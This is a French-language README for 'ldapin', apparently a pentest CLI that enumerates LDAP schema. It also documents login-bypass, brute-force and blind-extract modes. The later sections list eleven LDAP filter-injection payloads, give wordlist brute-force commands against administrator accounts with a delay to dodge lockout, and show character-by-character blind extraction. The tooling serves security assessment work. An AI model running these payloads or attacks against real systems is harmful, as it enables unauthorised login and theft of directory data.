
Outil CLI pour effectuer des tâches LDAP de base lors d'évaluations de sécurité
Un outil CLI qui découvre les champs LDAP valides en interrogeant le sous-schéma d'un serveur LDAP. Il lit attributeTypes et objectClasses directement depuis le serveur, de sorte que les résultats reflètent toujours ce que le serveur prend réellement en charge.
# Run directly without installing
nix run github:your-user/ldapin
# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin
Pour les utilisateurs de Nix ou NixOS, un paquet est disponible. Gardez à l'esprit que les dernières versions peuvent n'être
présentes que dans le canal unstable.
nix-env -iA nixos.lapin
Depuis un checkout local :
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP server URL [default: ldap://localhost:389]
-D, --bind-dn <BIND_DN> Bind DN (omit for anonymous bind)
-w, --password <PASSWORD> Bind password
-W, --prompt-password Prompt for bind password interactively
-f, --filter <FILTER> Substring filter on name or description
-c, --object-class <NAME> Limit to a specific object class (with -m object-classes)
-m, --mode <MODE> What to show: attributes, object-classes, both [default: attributes]
-o, --output <OUTPUT> Output format: table, json, csv [default: table]
-b, --base-dn <BASE_DN> Base DN to search under (required for --mode login-bypass)
--user-attr <ATTR> User attribute name for login-bypass probes [default: uid]
--pass-attr <ATTR> Password attribute name for login-bypass probes [default: userPassword]
-u, --target-user <USER> Target username for login-bypass probes
--starttls Upgrade connection with STARTTLS
--insecure Skip TLS certificate verification
-h, --help Print help
-V, --version Print version
Lister tous les types d'attributs sur un serveur local :
ldapin
S'authentifier et lister toutes les classes d'objets :
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
Trouver tous les attributs liés à mail :
ldapin -H ldap://ldap.example.org -f mail
Tout afficher en JSON :
ldapin -H ldaps://ldap.example.org -m both -o json
Exporter tous les attributs en CSV :
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
Afficher l'entrée de la classe d'objets inetOrgPerson :
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
Se connecter avec STARTTLS :
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
ForumSys fournit un serveur LDAP gratuit en lecture seule adapté aux tests.
| Paramètre | Valeur |
|---|---|
| Host | ldap.forumsys.com |
| Port | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Password | password |
| Base DN | dc=example,dc=com |
Lister tous les types d'attributs (bind anonyme) :
ldapin -H ldap://ldap.forumsys.com
Lister tous les types d'attributs (authentifié) :
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
Lister toutes les classes d'objets :
ldapin -H ldap://ldap.forumsys.com -m object-classes
Afficher la classe d'objets inetOrgPerson :
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
Filtrer les attributs par nom :
ldapin -H ldap://ldap.forumsys.com -f mail
Tout exporter en JSON :
ldapin -H ldap://ldap.forumsys.com -m both -o json
Le mode login-bypass sonde un serveur LDAP à la recherche de vulnérabilités d'injection de filtre.
Il construit 11 payloads dérivés de techniques d'injection LDAP connues et indique
lesquels renvoient des entrées. Le même résultat qu'une application web vulnérable produirait
si elle construisait son filtre d'authentification à partir d'entrées utilisateur non assainies.
# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
Payloads testés :
| Payload | Modèle de filtre |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
Le mode brute-force résout d'abord le DN complet de l'utilisateur cible via une recherche LDAP, puis
tente simple_bind(dn, password) pour chaque ligne de la wordlist, en s'arrêtant au premier
succès.
Options requises : -b / --base-dn, -u / --target-user, --wordlist.
# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# JSON output
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
La progression (résolution du DN, nombre de tentatives, résultat) est écrite sur stderr ; le résultat va sur
stdout, de sorte que -o json et -o csv s'enchaînent proprement.
# Create a small wordlist with the known password
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
Le mode blind-extract récupère la valeur de tout attribut lisible caractère
par caractère en sondant de manière répétée avec des filtres à suffixe joker :
(&(uid=TARGET)(mail=a*)) -> no entries
(&(uid=TARGET)(mail=e*)) -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*)) -> entries found -> 'ei'
...
C'est l'équivalent en LDAP direct de la boucle classique d'injection aveugle utilisée contre des applications web vulnérables qui construisent des filtres LDAP à partir d'entrées non assainies.
Options requises : -b / --base-dn, -u / --target-user, --extract-attr.